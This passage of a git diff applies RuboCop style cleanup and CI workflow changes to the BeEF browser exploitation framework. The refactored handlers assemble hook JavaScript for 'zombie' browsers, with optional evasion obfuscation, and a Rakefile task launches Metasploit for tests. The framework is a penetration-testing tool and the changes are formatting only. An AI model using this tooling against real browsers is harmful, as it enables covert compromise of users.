diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml new file mode 100644 index 0000000000..c8d769bba6 --- /dev/null +++ b/.github/workflows/lint.yml @@ -0,0 +1,36 @@ +name: "RuboCop" + +on: + pull_request: + branches: [master] + +jobs: + rubocop: + name: "RuboCop Analysis" + runs-on: ubuntu-latest + steps: + - name: "Checkout the repository" + uses: actions/checkout@v4 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 2 + + - name: "Update and Install Dependencies" + run: | + sudo apt update + sudo apt install libcurl4 libcurl4-openssl-dev + + - name: "Setting up Ruby" + uses: ruby/setup-ruby@v1 + with: + bundler-cache: true + + - name: "Configure Bundle testing and install gems" + run: | + bundle config unset --local without + bundle config set --local with 'development' + bundle install + + - name: "Run RuboCop" + run: | + bundle exec rubocop --display-only-safe-correctable diff --git a/.github/workflows/github_actions.yml b/.github/workflows/test.yml similarity index 50% rename from .github/workflows/github_actions.yml rename to .github/workflows/test.yml index 880302da3b..7c6e195ed8 100644 --- a/.github/workflows/github_actions.yml +++ b/.github/workflows/test.yml @@ -1,55 +1,57 @@ -name: 'BrowserStack Test' +name: "BrowserStack Test" on: pull_request_target: - branches: [ master ] - -jobs: + branches: [master] + +jobs: ubuntu-job: - name: 'BrowserStack Test on Ubuntu' - runs-on: ubuntu-latest # Can be self-hosted runner also + name: "BrowserStack Test on Ubuntu" + runs-on: ubuntu-latest # Can be self-hosted runner also environment: name: Integrate Pull Request - env: + env: GITACTIONS: true steps: - - - name: 'BrowserStack Env Setup' # Invokes the setup-env action + - name: "BrowserStack Env Setup" # Invokes the setup-env action uses: browserstack/github-actions/setup-env@master with: - username: ${{ secrets.BROWSERSTACK_USERNAME }} + username: ${{ secrets.BROWSERSTACK_USERNAME }} access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} - - name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action + - name: "BrowserStack Local Tunnel Setup" # Invokes the setup-local action uses: browserstack/github-actions/setup-local@master with: local-testing: start local-identifier: random - - name: 'Checkout the repository' + - name: "Checkout the repository" uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} fetch-depth: 2 - - name: 'Setting up Ruby' - uses: ruby/setup-ruby@v1 - # Ruby version is defined in .ruby-version file - - - name: 'Update and Install Dependencies' + - name: "Update and Install Dependencies" run: | sudo apt update sudo apt install libcurl4 libcurl4-openssl-dev - - name: 'Configure Bundle testing and install gems' + + - name: "Setting up Ruby" + uses: ruby/setup-ruby@v1 + with: + bundler-cache: true + + - name: "Configure Bundle testing and install gems" run: | bundle config unset --local without - bundle config set --local with 'test' 'development' + bundle config set --local with 'test' bundle install - - name: 'Run BrowserStack simple verification' + + - name: "Run BrowserStack simple verification" run: | bundle exec rake browserstack --trace - - name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection + - name: "BrowserStackLocal Stop" # Terminating the BrowserStackLocal tunnel connection uses: browserstack/github-actions/setup-local@master with: - local-testing: stop \ No newline at end of file + local-testing: stop diff --git a/.rubocop.yml b/.rubocop.yml index 7cf5f3c079..f0c700d100 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -1,15 +1,19 @@ AllCops: - Exclude: - - 'test/**/*' - - 'tmp/**/*' - - 'tools/**/*' - - 'doc/**/*' TargetRubyVersion: <%= File.read(".ruby-version").strip[/^(\d+\.\d+)/, 1] || raise("Ruby version not found") %> + NewCops: enable + Exclude: + - "vendor/**/*" + - "tools/**/*" + - "spec/**/*" + - "test/**/*" + +Bundler/OrderedGems: + Enabled: false + Layout/LineLength: - Enabled: true - Max: 180 + Enabled: false Metrics/AbcSize: Enabled: false @@ -20,6 +24,9 @@ Metrics/BlockLength: Metrics/ClassLength: Enabled: false +Metrics/CyclomaticComplexity: + Enabled: false + Metrics/MethodLength: Enabled: false @@ -29,14 +36,32 @@ Metrics/ModuleLength: Metrics/PerceivedComplexity: Enabled: false -Metrics/CyclomaticComplexity: +Naming/ClassAndModuleCamelCase: Enabled: false -Naming/ClassAndModuleCamelCase: +Style/BlockDelimiters: Enabled: false -Style/FrozenStringLiteralComment: +Style/CommentAnnotation: Enabled: false Style/Documentation: Enabled: false + +Style/GuardClause: + Enabled: false + +Style/IfInsideElse: + Enabled: false + +Style/IfUnlessModifier: + Enabled: false + +Style/RescueStandardError: + Enabled: false + +Style/WordArray: + Enabled: false + +Style/FrozenStringLiteralComment: + Enabled: false diff --git a/Gemfile b/Gemfile index 078f4327ff..23fdfce5ad 100644 --- a/Gemfile +++ b/Gemfile @@ -4,6 +4,8 @@ # See the file 'doc/COPYING' for copying permission # +source 'https://rubygems.org' + gem 'net-smtp', require: false gem 'json' @@ -17,14 +19,13 @@ gem 'uglifier', '~> 4.2' gem 'mime-types', '~> 3.7' gem 'execjs', '~> 2.10' gem 'ansi', '~> 1.5' -gem 'term-ansicolor', :require => 'term/ansicolor' +gem 'term-ansicolor', require: 'term/ansicolor' gem 'rubyzip', '~> 3.2' gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice gem 'rake', '~> 13.3' gem 'activerecord', '~> 8.1' gem 'otr-activerecord', '~> 2.6.0' gem 'sqlite3', '~> 2.8' -gem 'rubocop', '~> 1.81.7', require: false # Geolocation support group :geoip do @@ -59,6 +60,10 @@ group :ext_qrcode do gem 'qr4r', '~> 0.6.1' end +group :development do + gem 'rubocop', '~> 1.81.7', require: false +end + # For running unit tests group :test do gem 'test-unit-full', '~> 0.0.5' @@ -86,5 +91,3 @@ group :test do # sudo port install libxml2 libxslt gem 'capybara', '~> 3.40' end - -source 'https://rubygems.org' diff --git a/Rakefile b/Rakefile index 258b392ba6..aad5620a44 100644 --- a/Rakefile +++ b/Rakefile @@ -5,7 +5,7 @@ # require 'rspec/core/rake_task' -task :default => ["short"] +task default: ['short'] RSpec::Core::RakeTask.new(:short) do |task| task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests'] @@ -27,7 +27,7 @@ RSpec::Core::RakeTask.new(:browserstack) do |task| end RSpec::Core::RakeTask.new(:bs) do |task| - configs = Dir["spec/support/browserstack/**/*.yml"] + configs = Dir['spec/support/browserstack/**/*.yml'] configs.each do |config| config = config.split('spec/support/browserstack')[1] ENV['CONFIG_FILE'] = config @@ -48,13 +48,13 @@ namespace :ssl do puts 'Certificate already exists. Replace? [Y/n]' confirm = STDIN.getch.chomp unless confirm.eql?('') || confirm.downcase.eql?('y') - puts "Aborted" + puts 'Aborted' exit 1 end end Rake::Task['ssl:replace'].invoke end - + desc 'Re-generate SSL certificate' task :replace do if File.file?('/usr/local/bin/openssl') @@ -62,7 +62,7 @@ namespace :ssl do elsif File.file?('/usr/bin/openssl') path = '/usr/bin/openssl' else - puts "[-] Error: could not find openssl" + puts '[-] Error: could not find openssl' exit 1 end IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s @@ -88,8 +88,8 @@ namespace :rdoc do rd.rdoc_dir = 'doc/rdocs' rd.main = 'README.mkd' rd.rdoc_files.include('core/**/*\.rb') - #'extensions/**/*\.rb' - #'modules/**/*\.rb' + # 'extensions/**/*\.rb' + # 'modules/**/*\.rb' rd.options << '--line-numbers' rd.options << '--all' end @@ -98,15 +98,15 @@ end ################################ # X11 set up -@xserver_process_id = nil; +@xserver_process_id = nil task :xserver_start do - printf "Starting X11 Server (wait 10 seconds)..." - @xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+") + printf 'Starting X11 Server (wait 10 seconds)...' + @xserver_process_id = IO.popen('/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null', 'w+') delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] delays.each do |i| # delay for 10 seconds printf '.' - sleep (i) # increase the . display rate + sleep(i) # increase the . display rate end puts '.' end @@ -119,16 +119,16 @@ end ################################ # BeEF environment set up -@beef_process_id = nil; -@beef_config_file = 'tmp/rk_beef_conf.yaml'; +@beef_process_id = nil +@beef_config_file = 'tmp/rk_beef_conf.yaml' -task :beef_start => 'beef' do +task beef_start: 'beef' do # read environment param for creds or use bad_fred test_user = ENV['TEST_BEEF_USER'] || 'bad_fred' test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access' # write a rake config file for beef - config = YAML.safe_load(File.read('./config.yaml')) + config = YAML.safe_load_file('./config.yaml') config['beef']['credentials']['user'] = test_user config['beef']['credentials']['passwd'] = test_pass Dir.mkdir('tmp') unless Dir.exist?('tmp') @@ -140,12 +140,12 @@ task :beef_start => 'beef' do config = nil puts "Using config file: #{@beef_config_file}\n" - printf "Starting BeEF (wait a few seconds)..." - @beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+") + printf 'Starting BeEF (wait a few seconds)...' + @beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", 'w+') delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1] delays.each do |i| # delay for a few seconds printf '.' - sleep (i) + sleep(i) end puts ".\n\n" end @@ -165,41 +165,41 @@ end ################################ # MSF environment set up -@msf_process_id = nil; +@msf_process_id = nil -task :msf_start => '/tmp/msf-test/msfconsole' do - printf "Starting MSF (wait 45 seconds)..." - @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+") +task msf_start: '/tmp/msf-test/msfconsole' do + printf 'Starting MSF (wait 45 seconds)...' + @msf_process_id = IO.popen('/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null', 'w+') delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] delays.each do |i| # delay for 45 seconds printf '.' - sleep (i) # increase the . display rate + sleep(i) # increase the . display rate end puts '.' end task :msf_stop do puts "\nShutting down MSF...\n" - @msf_process_id.puts "quit" + @msf_process_id.puts 'quit' end -task :msf_install => '/tmp/msf-test/msfconsole' do +task msf_install: '/tmp/msf-test/msfconsole' do # Handled by the 'test/msf-test/msfconsole' task. end -task :msf_update => '/tmp/msf-test/msfconsole' do - sh "cd /tmp/msf-test;git pull" +task msf_update: '/tmp/msf-test/msfconsole' do + sh 'cd /tmp/msf-test;git pull' end file '/tmp/msf-test/msfconsole' do - puts "Installing MSF" - sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test" + puts 'Installing MSF' + sh 'cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test' end ################################ # ActiveRecord namespace :db do task :environment do - require_relative "beef" + require_relative 'beef' end end diff --git a/beef b/beef index e0d9375a6e..359ded43e8 100755 --- a/beef +++ b/beef @@ -35,7 +35,7 @@ end # # @note set load path, application root directory and user preferences directory # -$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.') +$root_dir = File.join(File.expand_path(__dir__), '.') $:.unshift($root_dir) $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze @@ -79,11 +79,11 @@ end # # @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed. # -if BeEF::Core::Console::CommandLine.parse[:ext_config].empty? - config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml") -else - config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}") -end +config = if BeEF::Core::Console::CommandLine.parse[:ext_config].empty? + BeEF::Core::Configuration.new("#{$root_dir}/config.yaml") + else + BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}") + end # # @note set log level @@ -93,11 +93,11 @@ BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN # # @note Check the system language settings for UTF-8 compatibility # -env_lang = ENV['LANG'] +env_lang = ENV.fetch('LANG', nil) if env_lang !~ /(utf8|utf-8)/i print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible." if env_lang =~ /\A([a-z]+_[a-z]+)\./i - country = $1 + country = Regexp.last_match(1) print_more "Try: export LANG=#{country}.utf8" end end @@ -123,9 +123,9 @@ end # # @note Exit on default credentials # -if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef') - print_error "ERROR: Default username and password in use!" - print_more "Change the beef.credentials.passwd in config.yaml" +if config.get('beef.credentials.user').eql?('beef') && config.get('beef.credentials.passwd').eql?('beef') + print_error 'ERROR: Default username and password in use!' + print_more 'Change the beef.credentials.passwd in config.yaml' exit 1 end @@ -194,9 +194,9 @@ end # Connect to DB ActiveRecord::Base.logger = nil -OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file) +OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line -#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. +# Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end @@ -250,7 +250,7 @@ BeEF::Core::Console::Banners.print_dns # # @note Prints the API key needed to use the RESTful API # -print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" +print_info "RESTful API key: #{BeEF::Core::Crypto.api_token}" # # @note Load the GeoIP database @@ -270,7 +270,7 @@ BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory # # @note Start the WebSocket server # -if config.get("beef.http.websocket.enable") +if config.get('beef.http.websocket.enable') BeEF::Core::Websocket::Websocket.instance BeEF::Core::Console::Banners.print_websocket_servers end diff --git a/core/api.rb b/core/api.rb index 0e4531aace..fef16324d0 100644 --- a/core/api.rb +++ b/core/api.rb @@ -132,7 +132,7 @@ def get_owners(clss, method, params = []) # @param [String] mthd the target method to verify # def verify_api_path(clss, mthd) - (clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd)) + clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd) end # diff --git a/core/filters/base.rb b/core/filters/base.rb index 5bf170f0d5..aeefa94717 100644 --- a/core/filters/base.rb +++ b/core/filters/base.rb @@ -21,7 +21,7 @@ def self.is_non_empty_string?(str) # @param [String] str String for testing # @return [Boolean] Whether or not the only characters in str are specified in chars def self.only?(chars, str) - regex = Regexp.new('[^' + chars + ']') + regex = Regexp.new("[^#{chars}]") regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? end diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb index 6bd17625b4..af0413c43e 100644 --- a/core/main/autorun_engine/engine.rb +++ b/core/main/autorun_engine/engine.rb @@ -135,7 +135,7 @@ def zombie_os_matches_rule?(os, os_version, rule) if !os_version.nil? || rule.os_version != 'ALL' os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) - return false unless (os_major_version_match && os_minor_version_match) + return false unless os_major_version_match && os_minor_version_match end true @@ -158,20 +158,20 @@ def zombie_browser_matches_rule?(browser, browser_version, rule) # check if rule specifies multiple browsers if rule.browser =~ /\A[A-Z]+\Z/ - return false unless rule.browser == 'ALL' || browser == rule.browser + return false unless rule.browser == 'ALL' || browser == rule.browser - # check if the browser version matches - browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) - return false unless browser_version_match - else - browser_match = false - rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| - if b == browser || b == 'ALL' - browser_match = true - break - end + # check if the browser version matches + browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) + return false unless browser_version_match + else + browser_match = false + rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| + if b == browser || b == 'ALL' + browser_match = true + break end - return false unless browser_match + end + return false unless browser_match end true @@ -504,9 +504,9 @@ def prepare_command(mod, options, hb_id, replace_input, rule_token) if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance - command_body = evasion.obfuscate(command_module.output) + "\n\n" + command_body = "#{evasion.obfuscate(command_module.output)}\n\n" else - command_body = command_module.output + "\n\n" + command_body = "#{command_module.output}\n\n" end # @note prints the event to the console diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb index 93a4c34b9e..3a83eb6385 100644 --- a/core/main/autorun_engine/parser.rb +++ b/core/main/autorun_engine/parser.rb @@ -28,11 +28,13 @@ def parse(name, author, browser, browser_version, os, os_version, modules, execu unless modules.size == execution_delay.size raise ArgumentError, "Number of execution_delay values (#{execution_delay.size}) must be consistent with number of modules (#{modules.size})" end + execution_delay.each { |delay| raise TypeError, "Invalid execution_delay value: #{delay}. Values must be Integers." unless delay.is_a?(Integer) } unless modules.size == execution_order.size raise ArgumentError, "Number of execution_order values (#{execution_order.size}) must be consistent with number of modules (#{modules.size})" end + execution_order.each { |order| raise TypeError, "Invalid execution_order value: #{order}. Values must be Integers." unless order.is_a?(Integer) } # if multiple browsers were specified, check each browser diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb index 889dcbfe35..06fd58bf87 100644 --- a/core/main/autorun_engine/rule_loader.rb +++ b/core/main/autorun_engine/rule_loader.rb @@ -202,7 +202,7 @@ def update_rule_json(id, data) # @param [String] JSON ARE ruleset file path def load_rule_file(json_rule_path) rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) - self.load_rule_json(JSON.parse(rule_file)) + load_rule_json(JSON.parse(rule_file)) rescue => e print_error("[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}") end diff --git a/core/main/command.rb b/core/main/command.rb index 2a68763a33..a991b0e910 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -17,7 +17,7 @@ module CommandUtils # @return [String] Formatted string # def format_multiline(text) - text.gsub(/\n/, '\n') + text.gsub("\n", '\n') end end @@ -28,12 +28,13 @@ def format_multiline(text) # class CommandContext < Erubis::Context include BeEF::Core::CommandUtils + # # Constructor # @param [Hash] hash # def initialize(hash = nil) - super(hash) + super end end @@ -226,9 +227,9 @@ def map_file_to_url(file, path = nil, extension = nil, count = 1) def use(component) return if @beefjs_components.include? component - component_path = '/' + component + component_path = "/#{component}" component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') + component_path.gsub!('.', '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" raise "Invalid beefjs component for command module #{@path}" unless File.exist? component_path @@ -250,11 +251,6 @@ def apply_defaults opt['value'] = oc_value(opt['name']) || opt['value'] end end - - @use_template - @eruby - @update_zombie - @results end end end diff --git a/core/main/configuration.rb b/core/main/configuration.rb index e3a37144c1..c03253bc28 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -42,6 +42,7 @@ def initialize(config) # @return [Hash] YAML formatted hash def load(file) return nil unless File.exist?(file) + YAML.safe_load(File.binread(file)) end @@ -246,7 +247,7 @@ def load_extensions_config next end - y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(%r{#{$root_dir}/}, '') + y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub('config.yaml', '').gsub(%r{#{$root_dir}/}, '') @config = y.deep_merge(@config) end end diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index d262338133..5fdbd6bf2d 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -35,7 +35,7 @@ def print_welcome_msg # data += "Blog: http://blog.beefproject.com\n" data += "Wiki: https://github.com/beefproject/beef/wiki\n" print_more data - print_info 'Project Creator: ' + 'Wade Alcorn'.red + ' (@WadeAlcorn)' + print_info "Project Creator: #{'Wade Alcorn'.red} (@WadeAlcorn)" end # @@ -156,7 +156,6 @@ def print_dns print_more upstream_servers unless upstream_servers.empty? end end - end end end diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index f69eef9480..370329fdcd 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -71,8 +71,8 @@ def setup # Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :( @http_headers = {} - http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' } - .each do |key, value| + @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' } + .each do |key, value| @http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') end zombie.httpheaders = @http_headers.to_json @@ -242,7 +242,7 @@ def setup X_FORWARDED X_FORWARDED_FOR ].each do |header| - proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil? + proxy_clients << JSON.parse(zombie.httpheaders)[header].to_s unless JSON.parse(zombie.httpheaders)[header].nil? end # retrieve proxy server @@ -400,8 +400,8 @@ def setup browser_plugins = get_param(@data['results'], 'browser.plugins') if BeEF::Filters.is_valid_browser_plugins?(browser_plugins) BD.set(session_id, 'browser.plugins', browser_plugins) - elsif browser_plugins == "[]" - err_msg "No browser plugins detected." + elsif browser_plugins == '[]' + err_msg 'No browser plugins detected.' else err_msg "Invalid browser plugins returned from the hook browser's initial connection." end @@ -458,7 +458,7 @@ def setup print_debug("Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]") if !os_name.nil? and !os_version.nil? - BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version) + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: "#{os_name}-#{os_version}") elsif !os_name.nil? BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name) else diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 8d033b9e76..72ba0fc0ef 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -32,14 +32,14 @@ def initialize(data, kclass) def setup @http_params = @data['request'].params @http_header = {} - http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }.each do |key, value| + @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }.each do |key, value| @http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') end # @note get and check command id from the request command_id = get_param(@data, 'cid') unless command_id.is_a?(Integer) - print_error("Command ID is invalid") + print_error('Command ID is invalid') return end diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index ea08a6f5be..dc50bff3bc 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -128,7 +128,7 @@ def confirm_browser_user_agent(user_agent) host_name = request.host unless BeEF::Filters.is_valid_hostname?(host_name) (print_error 'Invalid host name' - return) + return) end # Generate the hook js provided to the hookwed browser (the magic happens here) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 3c95cb5129..c381fa91c1 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -46,22 +46,22 @@ def build_beefjs!(req_host) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_not_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" else ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" end else # Evasion is not enabled, do not obfuscate anything ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_not_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" end end # @note construct the beef_js string from file(s) beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file - beef_js << (File.read(beef_js_sub_file_path) + "\n\n") + beef_js << "#{File.read(beef_js_sub_file_path)}\n\n" end # @note create the config for the hooked browser session @@ -74,7 +74,7 @@ def build_beefjs!(req_host) end if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + hook_session_config['beef_url'].sub!('0.0.0.0', req_host) end # @note set the XHR-polling timeout @@ -88,7 +88,7 @@ def build_beefjs!(req_host) if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) hook_session_config['beef_port'] = hook_session_config['beef_public_port'] hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!('http:', 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties @@ -121,7 +121,7 @@ def build_beefjs!(req_host) def find_beefjs_component_path(component) component_path = component component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') + component_path.gsub!('.', '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" return false unless File.exist? component_path @@ -152,9 +152,9 @@ def build_missing_beefjs_components(beefjs_components) config = BeEF::Core::Configuration.instance if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance - @body << evasion.obfuscate(File.read(component_path) + "\n\n") + @body << evasion.obfuscate("#{File.read(component_path)}\n\n") else - @body << (File.read(component_path) + "\n\n") + @body << "#{File.read(component_path)}\n\n" end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 006da1c2d1..47deee9e20 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -79,7 +79,7 @@ def add_command_instructions(command, hooked_browser) # //', "") ws.send(@output, hooked_browser.session) else - @body << (@output + "\n\n") + @body << "#{@output}\n\n" end # @note prints the event to the console if BeEF::Settings.console? diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index 66d59b14aa..8e0f908fe0 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -46,22 +46,22 @@ def legacy_build_beefjs!(req_host) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_not_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" else ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" end else # Evasion is not enabled, do not obfuscate anything ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_not_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" end end # @note construct the beef_js string from file(s) beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file - beef_js << (File.read(beef_js_sub_file_path) + "\n\n") + beef_js << "#{File.read(beef_js_sub_file_path)}\n\n" end # @note create the config for the hooked browser session @@ -74,7 +74,7 @@ def legacy_build_beefjs!(req_host) end if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + hook_session_config['beef_url'].sub!('0.0.0.0', req_host) end # @note set the XHR-polling timeout @@ -88,7 +88,7 @@ def legacy_build_beefjs!(req_host) if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) hook_session_config['beef_port'] = hook_session_config['beef_public_port'] hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!('http:', 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties @@ -121,7 +121,7 @@ def legacy_build_beefjs!(req_host) def legacy_find_beefjs_component_path(component) component_path = component component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') + component_path.gsub!('.', '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" return false unless File.exist? component_path @@ -152,9 +152,9 @@ def legacy_build_missing_beefjs_components(beefjs_components) config = BeEF::Core::Configuration.instance if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance - @body << evasion.obfuscate(File.read(component_path) + "\n\n") + @body << evasion.obfuscate("#{File.read(component_path)}\n\n") else - @body << (File.read(component_path) + "\n\n") + @body << "#{File.read(component_path)}\n\n" end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. diff --git a/core/main/handlers/modules/multistagebeefjs.rb b/core/main/handlers/modules/multistagebeefjs.rb index 40f5901827..3c71f434e6 100644 --- a/core/main/handlers/modules/multistagebeefjs.rb +++ b/core/main/handlers/modules/multistagebeefjs.rb @@ -46,22 